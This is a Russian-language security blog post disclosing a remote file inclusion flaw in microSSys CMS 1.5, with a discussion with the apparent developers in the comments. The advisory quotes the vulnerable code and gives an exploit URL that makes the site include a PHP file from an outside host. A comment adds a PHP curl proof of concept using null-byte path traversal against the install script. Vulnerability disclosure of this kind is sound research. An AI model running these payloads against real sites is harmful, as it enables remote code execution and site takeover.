Инклуд удаленных файлов в microSSys CMS 1.5

Обнаружил RFI в microSSys CMS, самой непрофессиональной CMS’ке, которую я когда-либо видел. Помнится был WCPS, который занимал в моем “почетном” рейтинге первое место, но эта CMS еще ужасней во всех отношениях, включая и безопасность. Вот хоронология моих действий:

  1. переписал файлы на локалхост
  2. открыл в браузере скрипт установки
  3. испугался и закрыл
  4. открыл исходный код index.php
  5. снова испугался, но перед тем, как закрыть заметил RFI

CMS’ка настолько стремная, что str0ke с milw0rm’а отказался принимать уязвимость =)
Собственно вот advisory:


## microSSys CMS <= 1.5 Remote File Inclusion Vulnerability ## Software site: http://wajox.com/ ## =============================================================== ## By Raz0r (www.Raz0r.name) ## =============================================================== ## Vulnerable code (index.php@22-25,54-55): ## [22] if(isset($_REQUEST["1"])){ ## [23] $P=$_REQUEST["1"];}else{ ## [24] $P="main"; ## [25] } ## [..] ## [54] if(isset($PAGES[$P])){}else{include("TH.txt");} ## [55] @include($PAGES[$P]); ## Nice... ## =============================================================== ## Exploit: ## http://host/index.php?1=lol&PAGES[lol]=http://raz0r.name/s.php ## ===============================================================

Думаю в комментариях не нуждается =) Единственное, что можно отметить – для реализации необходим включенный register_globals, иначе мы не сможем добавить в массив PAGES наш элемент.

Join the Conversation

8 Comments

  1. еще как существуют!
    Кстати, str0ke все-таки запостил =) Обычно он публикует сплоиты на следующий день, но в этот раз почему-то через два. Не получив от него ответа, я подумал, что он отказался =)

  2. Насколько я понял вы разработчик microSSys CMS. Изменения в новой версии налицо, но работать над ней нужно еще очень много. Когда полностью завершите работу, тогда и выкладывайте мне ссылки, а пока что-то оценивать еще рано. В подтверждение моим словам еще один инклуд:

    <?php
    $url = 'http://localhost/ssys/setup/setmod.php';
    
    $data = 'count=1&module_1=/../index.php%00';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 10);
    curl_setopt($ch, CURLOPT_PORT, 80);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    $resp = curl_exec($ch);
    curl_close($ch);
    
    echo "<pre>";
    print_r($resp);
    echo "</pre>";
    ?>
  3. Это установочный скрипт и там защиты мы не делаем вообще).Потому как она там просто не нужна).Ведь доступ к этим файлам будет иметь только владелец и после установки они будут удалены да и альфа версия это.
    Как закончим обязательно дадим Вам ссылку.

  4. И ещё,переписывать мы его(движок) стали до того как была найдена и опубликована эта уязвимость:-).

  5. >Это установочный скрипт и там защиты мы не делаем вообще
    о какой безопасности может идти речь, когда даже в скриптах установки нет никакой защиты. Представьте, что пользователь забыл или не захотел удалять скрипт установки, что тогда? Можно не только реализовать инклуд, но и заново установить CMS, т.е. все данные в БД будут потеряны. Более того, после установки CMS не предупреждает пользователя о том, что ему следует удалить ненужные скрипты. Я уверен, что неопытный пользователь оставит все как есть.
    P.S. жду stable-версию

Leave a comment

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.